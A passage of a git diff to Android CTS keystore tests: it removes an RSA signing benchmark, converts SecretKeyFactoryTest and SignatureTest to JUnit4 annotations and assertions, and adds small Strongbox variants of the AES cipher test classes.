-    final int[] SUPPORTED_RSA_KEY_SIZES = {2048, 3072, 4096};
-    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
-
-    public void testNONEwithRSA() throws Exception {
-        for (int keySize : SUPPORTED_RSA_KEY_SIZES) {
-            int modulusSizeBytes = (keySize + 7) / 8;
-            int[] messageSizes =
-                    Arrays.stream(TEST_MESSAGE_SIZES).filter(x -> modulusSizeBytes > x).toArray();
-            testRsaSign("NONEwithRSA", new int[] {keySize}, messageSizes);
-        }
-    }
-
-    public void testMD5withRSA() throws Exception {
-        testRsaSign("MD5withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA1withRSA() throws Exception {
-        testRsaSign("SHA1withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA224withRSA() throws Exception {
-        testRsaSign("SHA224withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA256withRSA() throws Exception {
-        testRsaSign("SHA256withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA384withRSA() throws Exception {
-        testRsaSign("SHA384withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA512withRSA() throws Exception {
-        testRsaSign("SHA512withRSA", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA1withRSA_PSS() throws Exception {
-        testRsaSign("SHA1withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA224withRSA_PSS() throws Exception {
-        testRsaSign("SHA224withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA256withRSA_PSS() throws Exception {
-        testRsaSign("SHA256withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA384withRSA_PSS() throws Exception {
-        testRsaSign("SHA384withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA512withRSA_PSS() throws Exception {
-        testRsaSign("SHA512withRSA/PSS", SUPPORTED_RSA_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    private void testRsaSign(String algorithm, int[] keySizes, int[] messageSizes)
-            throws Exception {
-        for (int keySize : keySizes) {
-            if (!TestUtils.isKeyLongEnoughForSignatureAlgorithm(algorithm, keySize)) {
-                continue;
-            }
-            KeystoreKeyGenerator androidKeystoreRsaGenerator =
-                    new AndroidKeystoreRsaKeyGenerator(algorithm, keySize);
-            KeystoreKeyGenerator defaultKeystoreRsaGenerator =
-                    new DefaultKeystoreKeyPairGenerator(algorithm, keySize);
-            for (int messageSize : messageSizes) {
-                measure(
-                        new KeystoreRsaSignMeasurable(
-                                androidKeystoreRsaGenerator, keySize, messageSize),
-                        new KeystoreRsaSignMeasurable(
-                                defaultKeystoreRsaGenerator, keySize, messageSize),
-                        new KeystoreRsaVerifyMeasurable(
-                                androidKeystoreRsaGenerator, keySize, messageSize),
-                        new KeystoreRsaVerifyMeasurable(
-                                defaultKeystoreRsaGenerator, keySize, messageSize));
-            }
-        }
-    }
-
-    private class AndroidKeystoreRsaKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreRsaKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getKeyPairGenerator()
-                    .initialize(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_SIGN
-                                                    | KeyProperties.PURPOSE_VERIFY)
-                                    .setKeySize(keySize)
-                                    .setSignaturePaddings(
-                                            TestUtils.getSignatureAlgorithmPadding(algorithm))
-                                    .setDigests(TestUtils.getSignatureAlgorithmDigest(algorithm))
-                                    .build());
-        }
-    }
-
-    private class KeystoreRsaSignMeasurable extends KeystoreMeasurable {
-        private final Signature mSignature;
-        private KeyPair mKey;
-
-        KeystoreRsaSignMeasurable(KeystoreKeyGenerator keyGen, int keySize, int messageSize)
-                throws Exception {
-            super(keyGen, "sign", keySize, messageSize);
-            mSignature = Signature.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateKeyPair();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mSignature.initSign(mKey.getPrivate());
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mSignature.update(getMessage());
-            mSignature.sign();
-        }
-    }
-
-    private class KeystoreRsaVerifyMeasurable extends KeystoreMeasurable {
-        private final Signature mSignature;
-        private byte[] mMessageSignature;
-        private KeyPair mKey;
-
-        KeystoreRsaVerifyMeasurable(KeystoreKeyGenerator keyGen, int keySize, int messageSize)
-                throws Exception {
-            super(keyGen, "verify", keySize, messageSize);
-            mSignature = Signature.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateKeyPair();
-            mSignature.initSign(mKey.getPrivate());
-            mSignature.update(getMessage());
-            mMessageSignature = mSignature.sign();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mSignature.initVerify(mKey.getPublic());
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mSignature.update(getMessage());
-            mSignature.verify(mMessageSignature);
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/SecretKeyFactoryTest.java b/tests/tests/keystore/src/android/keystore/cts/SecretKeyFactoryTest.java
index 70581e1..f9d97b1 100644
--- a/tests/tests/keystore/src/android/keystore/cts/SecretKeyFactoryTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/SecretKeyFactoryTest.java
@@ -16,6 +16,12 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
+
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
 import android.security.keystore.KeyProperties;
@@ -43,7 +49,9 @@
 import javax.crypto.SecretKeyFactory;
 import javax.crypto.spec.SecretKeySpec;
 
-public class SecretKeyFactoryTest extends TestCase {
+import org.junit.Test;
+
+public class SecretKeyFactoryTest {
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_PROVIDER_NAME;
 
     private static String[] EXPECTED_ALGORITHMS = {
@@ -61,6 +69,7 @@
         }
     }
 
+    @Test
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected SecretKeyFactory
         // algorithms. We don't care whether the algorithms are exposed via aliases, as long as
@@ -84,6 +93,7 @@
                 expectedAlgsLowerCase.toArray(new String[0]));
     }
 
+    @Test
     public void testGetKeySpecWithKeystoreKeyAndKeyInfoReflectsAllAuthorizations()
             throws Exception {
         Date keyValidityStart = new Date(System.currentTimeMillis() - TestUtils.DAY_IN_MILLIS);
@@ -142,6 +152,7 @@
         }
     }
 
+    @Test
     public void testTranslateKeyWithNullKeyThrowsInvalidKeyException() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -156,6 +167,7 @@
         }
     }
 
+    @Test
     public void testTranslateKeyRejectsNonAndroidKeystoreKeys() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -171,6 +183,7 @@
         }
     }
 
+    @Test
     public void testTranslateKeyAcceptsAndroidKeystoreKeys() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -197,6 +210,7 @@
         }
     }
 
+    @Test
     public void testGenerateSecretWithNullSpecThrowsInvalidKeySpecException() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -211,6 +225,7 @@
         }
     }
 
+    @Test
     public void testGenerateSecretRejectsSecretKeySpec() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -225,6 +240,7 @@
         }
     }
 
+    @Test
     public void testGenerateSecretRejectsKeyInfo() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
diff --git a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
index cbeb7d7..5b78757 100644
--- a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
@@ -16,10 +16,30 @@
 
 package android.keystore.cts;
 
-import android.keystore.cts.R;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.keystore.cts.util.EmptyArray;
+import android.keystore.cts.util.ImportedKey;
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyInfo;
+import android.security.keystore.KeyPermanentlyInvalidatedException;
+import android.security.keystore.KeyProperties;
+import android.security.keystore.KeyProtection;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.security.InvalidKeyException;
-import java.security.Key;
 import java.security.KeyFactory;
 import java.security.KeyPair;
 import java.security.KeyStore;
@@ -39,19 +59,12 @@
 import java.util.Set;
 import java.util.TreeMap;
 
-import android.content.Context;
-import android.security.keystore.KeyInfo;
-import android.security.keystore.KeyPermanentlyInvalidatedException;
-import android.security.keystore.KeyProperties;
-import android.security.keystore.KeyProtection;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-
 /**
  * Tests for algorithm-agnostic functionality of {@code Signature} implementations backed by Android
  * Keystore.
  */
-public class SignatureTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class SignatureTest {
 
     static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_CRYPTO_OP_PROVIDER_NAME;
 
@@ -333,6 +346,11 @@
 
     private static final long DAY_IN_MILLIS = TestUtils.DAY_IN_MILLIS;
 
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected signature algorithms.
         // We don't care whether the algorithms are exposed via aliases, as long as the canonical
@@ -346,6 +364,9 @@
         Set<String> actualSigAlgsLowerCase = new HashSet<String>();
         Set<String> expectedSigAlgsLowerCase = new HashSet<String>(
                 Arrays.asList(TestUtils.toLowerCase(EXPECTED_SIGNATURE_ALGORITHMS)));
+        //TODO(b/233037333): Move this value to the EXPECTED_SIGNATURE_ALGORITHMS array, once
+        //we have confirmed key import is working for Ed25519 and have a key to import.
+        expectedSigAlgsLowerCase.add("ed25519");
         for (Service service : services) {
             if ("Signature".equalsIgnoreCase(service.getType())) {
                 String algLowerCase = service.getAlgorithm().toLowerCase(Locale.US);
@@ -366,6 +387,7 @@
                 expectedSigAlgsLowerCase.toArray(new String[0]));
     }
 
+    @Test
     public void testAndroidKeyStoreKeysHandledByAndroidKeyStoreProviderWhenSigning()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -382,6 +404,7 @@
         }
     }
 
+    @Test
     public void testAndroidKeyStorePublicKeysAcceptedByHighestPriorityProviderWhenVerifying()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -397,6 +420,7 @@
         }
     }
 
+    @Test
     public void testValidSignatureGeneratedForEmptyMessage()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -426,6 +450,7 @@
         }
     }
 
+    @Test
     public void testValidSignatureGeneratedForEmptyMessageByLimitedUseKey()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -482,6 +507,7 @@
         }
     }
 
+    @Test
     public void testEmptySignatureDoesNotVerify()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -505,6 +531,7 @@
         }
     }
 
+    @Test
     public void testSignatureGeneratedByAndroidKeyStoreVerifiesByAndroidKeyStore()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -536,6 +563,7 @@
         }
     }
 
+    @Test
     public void testSignatureGeneratedByAndroidKeyStoreVerifiesByHighestPriorityProvider()
             throws Exception {
         Provider keystoreProvider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -580,6 +608,7 @@
         }
     }
 
+    @Test
     public void testSignatureGeneratedByHighestPriorityProviderVerifiesByAndroidKeyStore()
             throws Exception {
 
@@ -623,6 +652,7 @@
         }
     }
 
+    @Test
     public void testSmallMsgKat() throws Exception {
         byte[] message = SHORT_MSG_KAT_MESSAGE;
 
@@ -659,7 +689,7 @@
                 boolean deterministicSignatureScheme =
                         algorithm.toLowerCase().endsWith("withrsa");
                 if (deterministicSignatureScheme) {
-                    MoreAsserts.assertEquals(goodSigBytes, generatedSigBytes);
+                    assertArrayEquals(goodSigBytes, generatedSigBytes);
                 } else {
                     if (Math.abs(goodSigBytes.length - generatedSigBytes.length) > 2) {
                         fail("Generated signature expected to be between "
@@ -692,7 +722,7 @@
                 }
                 generatedSigBytes = signature.sign();
                 if (deterministicSignatureScheme) {
-                    MoreAsserts.assertEquals(goodSigBytes, generatedSigBytes);
+                    assertArrayEquals(goodSigBytes, generatedSigBytes);
                 } else {
                     if (Math.abs(goodSigBytes.length - generatedSigBytes.length) > 2) {
                         fail("Generated signature expected to be between "
@@ -721,6 +751,7 @@
         }
     }
 
+    @Test
     public void testLongMsgKat() throws Exception {
         byte[] message = TestUtils.generateLargeKatMsg(LONG_MSG_KAT_SEED, LONG_MSG_KAT_SIZE_BYTES);
 
@@ -778,7 +809,7 @@
                 boolean deterministicSignatureScheme =
                         KeyProperties.SIGNATURE_PADDING_RSA_PKCS1.equalsIgnoreCase(paddingScheme);
                 if (deterministicSignatureScheme) {
-                    MoreAsserts.assertEquals(goodSigBytes, generatedSigBytes);
+                    assertArrayEquals(goodSigBytes, generatedSigBytes);
                 } else {
                     if (Math.abs(goodSigBytes.length - generatedSigBytes.length) > 2) {
                         fail("Generated signature expected to be between "
@@ -805,7 +836,7 @@
                 generatedSigBytes = generateSignatureFedUsingFixedSizeChunks(
                         algorithm, provider, keyPair.getPrivate(), message, 444307);
                 if (deterministicSignatureScheme) {
-                    MoreAsserts.assertEquals(goodSigBytes, generatedSigBytes);
+                    assertArrayEquals(goodSigBytes, generatedSigBytes);
                 } else {
                     if (Math.abs(goodSigBytes.length - generatedSigBytes.length) > 2) {
                         fail("Generated signature expected to be between "
@@ -832,6 +863,7 @@
         }
     }
 
+    @Test
     public void testInitVerifySucceedsDespiteMissingAuthorizations() throws Exception {
         KeyProtection spec = new KeyProtection.Builder(0).build();
 
@@ -844,6 +876,7 @@
         }
     }
 
+    @Test
     public void testInitSignFailsWhenNotAuthorizedToSign() throws Exception {
         int badPurposes = KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT
                 | KeyProperties.PURPOSE_VERIFY;
@@ -860,6 +893,7 @@
         }
     }
 
+    @Test
     public void testInitVerifyIgnoresThatNotAuthorizedToVerify() throws Exception {
         int badPurposes = KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT
                 | KeyProperties.PURPOSE_SIGN;
@@ -876,6 +910,7 @@
         }
     }
 
+    @Test
     public void testInitSignFailsWhenDigestNotAuthorized() throws Exception {
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
             try {
@@ -902,6 +937,7 @@
         }
     }
 
+    @Test
     public void testInitVerifyIgnoresThatDigestNotAuthorized() throws Exception {
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
             try {
@@ -920,6 +956,7 @@
         }
     }
 
+    @Test
     public void testInitSignFailsWhenPaddingNotAuthorized() throws Exception {
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
             try {
@@ -948,6 +985,7 @@
         }
     }
 
+    @Test
     public void testInitVerifyIgnoresThatPaddingNotAuthorized() throws Exception {
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
             try {
@@ -976,6 +1014,7 @@
         }
     }
 
+    @Test
     public void testInitSignFailsWhenKeyNotYetValid() throws Exception {
         Date badStartDate = new Date(System.currentTimeMillis() + DAY_IN_MILLIS);
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
@@ -990,6 +1029,7 @@
         }
     }
 
+    @Test
     public void testInitVerifyIgnoresThatKeyNotYetValid() throws Exception {
         Date badStartDate = new Date(System.currentTimeMillis() + DAY_IN_MILLIS);
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
@@ -1004,6 +1044,7 @@
         }
     }
 
+    @Test
     public void testInitSignFailsWhenKeyNoLongerValidForOrigination() throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
@@ -1020,6 +1061,7 @@
         }
     }
 
+    @Test
     public void testInitVerifyIgnoresThatKeyNoLongerValidForOrigination() throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
@@ -1036,6 +1078,7 @@
         }
     }
 
+    @Test
     public void testInitSignIgnoresThatKeyNoLongerValidForConsumption() throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
@@ -1052,6 +1095,7 @@
         }
     }
 
+    @Test
     public void testInitVerifyIgnoresThatKeyNoLongerValidForConsumption() throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
         for (String algorithm : EXPECTED_SIGNATURE_ALGORITHMS) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CBCNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CBCNoPaddingCipherTest.java
new file mode 100644
index 0000000..a791512
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CBCNoPaddingCipherTest.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES128CBCNoPaddingCipherTest extends AES128CBCNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() {
+        return true;
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CBCPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CBCPKCS7PaddingCipherTest.java
new file mode 100644
index 0000000..0ca2a15
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CBCPKCS7PaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES128CBCPKCS7PaddingCipherTest extends AES128CBCPKCS7PaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CTRNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CTRNoPaddingCipherTest.java
new file mode 100644
index 0000000..2710865
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128CTRNoPaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES128CTRNoPaddingCipherTest extends AES128CTRNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128ECBNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128ECBNoPaddingCipherTest.java
new file mode 100644
index 0000000..50a8952
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128ECBNoPaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES128ECBNoPaddingCipherTest extends AES128ECBNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128ECBPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128ECBPKCS7PaddingCipherTest.java
new file mode 100644
index 0000000..a6ecdfc
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128ECBPKCS7PaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES128ECBPKCS7PaddingCipherTest extends AES128ECBPKCS7PaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128GCMNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128GCMNoPaddingCipherTest.java
new file mode 100644
index 0000000..4d53259
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES128GCMNoPaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES128GCMNoPaddingCipherTest extends AES128GCMNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CBCNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CBCNoPaddingCipherTest.java
new file mode 100644
index 0000000..422bc96
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CBCNoPaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES256CBCNoPaddingCipherTest extends AES256CBCNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CBCPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CBCPKCS7PaddingCipherTest.java
new file mode 100644
index 0000000..77ae08e
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CBCPKCS7PaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES256CBCPKCS7PaddingCipherTest extends AES256CBCPKCS7PaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CTRNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CTRNoPaddingCipherTest.java
new file mode 100644
index 0000000..4288a53
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256CTRNoPaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES256CTRNoPaddingCipherTest extends AES256CTRNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256ECBNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256ECBNoPaddingCipherTest.java
new file mode 100644
index 0000000..0bfd508
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256ECBNoPaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+public class StrongboxAES256ECBNoPaddingCipherTest extends AES256ECBNoPaddingCipherTest {
+    @Override
+    protected boolean isStrongbox() { return true; }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256ECBPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256ECBPKCS7PaddingCipherTest.java
new file mode 100644
index 0000000..a606187
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/StrongboxAES256ECBPKCS7PaddingCipherTest.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
